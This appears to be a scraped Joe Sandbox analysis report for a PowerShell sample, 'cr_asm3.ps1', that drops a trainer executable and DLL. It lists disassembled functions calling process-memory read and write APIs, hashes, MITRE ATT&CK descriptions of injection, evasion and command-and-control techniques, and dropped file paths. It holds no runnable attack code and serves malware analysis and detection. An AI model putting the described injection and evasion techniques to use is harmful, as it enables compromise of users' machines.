memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FFB226536D9), ref: 00007FFB2265405D

Part of subcall function 00007FFB22654920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFB2265103E), ref: 00007FFB2265493A

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FFB226536D9), ref: 00007FFB22654070
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFB226540AD

Strings

invalid vector subscript, xrefs: 00007FFB22653F54

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_taskXout_of_range@std@@_invalid_parameter_noinfo_noreturnmalloc
String ID: invalid vector subscript
API String ID: 225515916-1949860628
Opcode ID: a7de3c16eb63e3b623d02498fccd81339706b82cc1b6655b6c5c59361fd26349
Instruction ID: 708b29b69421e4657494a7dedc97d5ae1024d0ffda4b78d99d134403fc90417a
Opcode Fuzzy Hash: a7de3c16eb63e3b623d02498fccd81339706b82cc1b6655b6c5c59361fd26349
Instruction Fuzzy Hash: B931A0A3628AC581E916DF36EC041B9A7A0BF54BE0F284531DE6D97BD5CEBCE061C300

Function 00007FFB226536E0 Relevance: 9.2, APIs: 6, Instructions: 249COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32 ref: 00007FFB2265374F
memcmp.VCRUNTIME140 ref: 00007FFB22653766

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcessReadmemcmp
String ID:
API String ID: 3176920756-0
Opcode ID: bcccaca4536aae3c17190eb64e39493890961a33e0c5a1b4d314fc494e5810b3
Instruction ID: d0e24bf9b281c8569980135ae1885994498e490f36327a8337c0c93aea23d6bc
Opcode Fuzzy Hash: bcccaca4536aae3c17190eb64e39493890961a33e0c5a1b4d314fc494e5810b3
Instruction Fuzzy Hash: 64C14DB3A25AC589FB128F35DC442A83361FB58B88F484531EA5D97B99CFBCD5A1C340

Function 00007FFB22654200 Relevance: 7.6, APIs: 5, Instructions: 105processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FFB22654239
Module32First.KERNEL32 ref: 00007FFB2265426D
memcmp.VCRUNTIME140 ref: 00007FFB226542B9
Module32Next.KERNEL32 ref: 00007FFB226542CA
OpenProcess.KERNEL32 ref: 00007FFB226542EF

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Module32$CreateFirstNextOpenProcessSnapshotToolhelp32memcmp
String ID:
API String ID: 3551813145-0
Opcode ID: ef27848728e57b00f54bf132d20fc1e322867d02a7ea20d45f5984dffdf8b1fe
Instruction ID: 62dbbb4226a64fa49c8f7e36418501b6c9b73fe90cb3541c4de4c476c747c6c0
Opcode Fuzzy Hash: ef27848728e57b00f54bf132d20fc1e322867d02a7ea20d45f5984dffdf8b1fe
Instruction Fuzzy Hash: 5E413C72519B8185E7628F21FC4426AB3A4FB887A4F458234DADD83B94EFBCD5A5C700

Function 00007FFB226524A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32 ref: 00007FFB226524D6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFB226524E8
WriteProcessMemory.KERNEL32 ref: 00007FFB22652536

Strings

AND NotAvailableInAutoshow=0, xrefs: 00007FFB22652518

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: MemoryProcessWrite$free
String ID: AND NotAvailableInAutoshow=0
API String ID: 3251193346-2000189202
Opcode ID: 5dd114985b51e524ecdaeb4a6ee6680aac70342fb451392c15103262cd97a31d
Instruction ID: ee6c4ca90c8b7cdf20ef23b5662890266d699200136b9b8f5afda2c6ce9c4e86
Opcode Fuzzy Hash: 5dd114985b51e524ecdaeb4a6ee6680aac70342fb451392c15103262cd97a31d
Instruction Fuzzy Hash: 6A11DBB6A29AC681FA538B25EC543693360FF84B84F944436C94E93724CFBDE565C700

Function 00007FFB22653DD0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00007FFB22652809), ref: 00007FFB22653E46
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00007FFB22652809), ref: 00007FFB22653E51
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFB22652809), ref: 00007FFB22653E88
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00007FFB22652809), ref: 00007FFB22653EEC

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: free$MemoryProcessReadmalloc
String ID:
API String ID: 945422901-0
Opcode ID: 14e76d314a38f5860d661b66c69f591f3506736d51f1cf77ff05bd61f85d3f90
Instruction ID: 253cec4dcbec4393d4e7dc6c96cb10c3b1ec06813f31f24e8d867f61723c81f8
Opcode Fuzzy Hash: 14e76d314a38f5860d661b66c69f591f3506736d51f1cf77ff05bd61f85d3f90
Instruction Fuzzy Hash: 28419C63A19BC581EA52CF26ED042B8A7A0FB48F84F5C4036EE4D87744DFB8D4A1C340

Function 00007FFB226514A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FFB226514AB

Part of subcall function 00007FFB22654920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFB2265103E), ref: 00007FFB2265493A

Part of subcall function 00007FFB22653B70: memcpy.VCRUNTIME140 ref: 00007FFB22653C75
Part of subcall function 00007FFB22653B70: memcpy.VCRUNTIME140 ref: 00007FFB22653C8F
Part of subcall function 00007FFB22653B70: memset.VCRUNTIME140 ref: 00007FFB22653CA4
Part of subcall function 00007FFB22653B70: memset.VCRUNTIME140 ref: 00007FFB22653CE7

Strings

Cost=0, xrefs: 00007FFB22651516
string too long, xrefs: 00007FFB226514A4

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: memcpymemset$Xlength_error@std@@malloc
String ID: Cost=0$string too long
API String ID: 2569986753-2966528296
Opcode ID: ad06fa48fd60ba2b4d54c49a69b272a0f8c7bc0fc8a353929bb8a211ab6cc02f
Instruction ID: 8df0f71b0a2f11fa489688069611e35e072a9eea3d980dacffba5fe4208cbaa2
Opcode Fuzzy Hash: ad06fa48fd60ba2b4d54c49a69b272a0f8c7bc0fc8a353929bb8a211ab6cc02f
Instruction Fuzzy Hash: 4E3119A2929AC685FA039F29EC453A97360FF95B84F405235D94D97761DFBCE1A1C300

Analysis Process: powershell.exePID: 7548, Parent PID: 7468COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAAC676C34 Relevance: 1.6, APIs: 1, Instructions: 114
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 00007FFAAC676CDE

Memory Dump Source

Source File: 0000000C.00000002.1755549427.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac660000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5bd69cadf7f6a856c640e5c62bc9ffbbeee1519b90ef20fd98c7a4a7bd8498b4
Instruction ID: f82dbb9345d4c542fa60109c31514d79cfacb782380d255c11ae5492efc28020
Opcode Fuzzy Hash: 5bd69cadf7f6a856c640e5c62bc9ffbbeee1519b90ef20fd98c7a4a7bd8498b4
Instruction Fuzzy Hash: 3131F53190CA5C8FEB19DB68D849BE9BBE1FF56320F04826BD00DD3152CB74A405CB91

Function 00007FFAAC67664A Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 00007FFAAC676CDE

Memory Dump Source

Source File: 0000000C.00000002.1755549427.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac660000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ab3e157c70d3e9aedc6233fd1dd314cefab1a4e824219b88af2bdf68862e7900
Instruction ID: 114bd9dd7bf3dea2d3dbca6a9b8bc4e627b6b11d82e630985e05231a11bf443d
Opcode Fuzzy Hash: ab3e157c70d3e9aedc6233fd1dd314cefab1a4e824219b88af2bdf68862e7900
Instruction Fuzzy Hash: F2217E71908A1C9FEB58DB58D449BF9BBE1FB69321F00822ED00ED3651DB71A8458B81

Function 00007FFAAC73343B Relevance: .4, Instructions: 394
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.1756966131.00007FFAAC730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac730000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c657d8144bfd834b4e7e5ccc1212b754fb6c51b8584a2230183ca7971b345fc3
Instruction ID: 499452973a152c48df5eb729b60f1bc35fabc8804e6515a6e1f41b1bd3dbae1f
Opcode Fuzzy Hash: c657d8144bfd834b4e7e5ccc1212b754fb6c51b8584a2230183ca7971b345fc3
Instruction Fuzzy Hash: 34C13A61A0EA8A8FF765EB6C88555B97BE0EF46320B0441BED44DC7293DE18DC0AC3D1

Function 00007FFAAC7335E3 Relevance: .1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.1756966131.00007FFAAC730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac730000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39fa871fba6f15fad6c9ab856cd744775383527fbd363a44f08770d70b7d48ca
Instruction ID: 06bed7b9d3b7f81676ae78f1def3748c40bd241599c0e27fb9cd51f54854c29f
Opcode Fuzzy Hash: 39fa871fba6f15fad6c9ab856cd744775383527fbd363a44f08770d70b7d48ca
Instruction Fuzzy Hash: 99119421B0E649CFF764DB5C84445B877E1EF55321F1450BED04ED7283DE19980A83D1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cr_asm3.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Backend.dll

C:\Users\user\AppData\Local\Temp\RESD0F0.tmp

C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eyqhqzsr.epu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgyrgpq4.r4l.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hzfvsgre.iwh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3yvnkqr.fyx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ml00m1au.afz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_njkgahzq.p3d.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_upqj4utt.wdr.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvupmdv5.5kq.ps1

Windows Analysis Report
cr_asm3.ps1

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre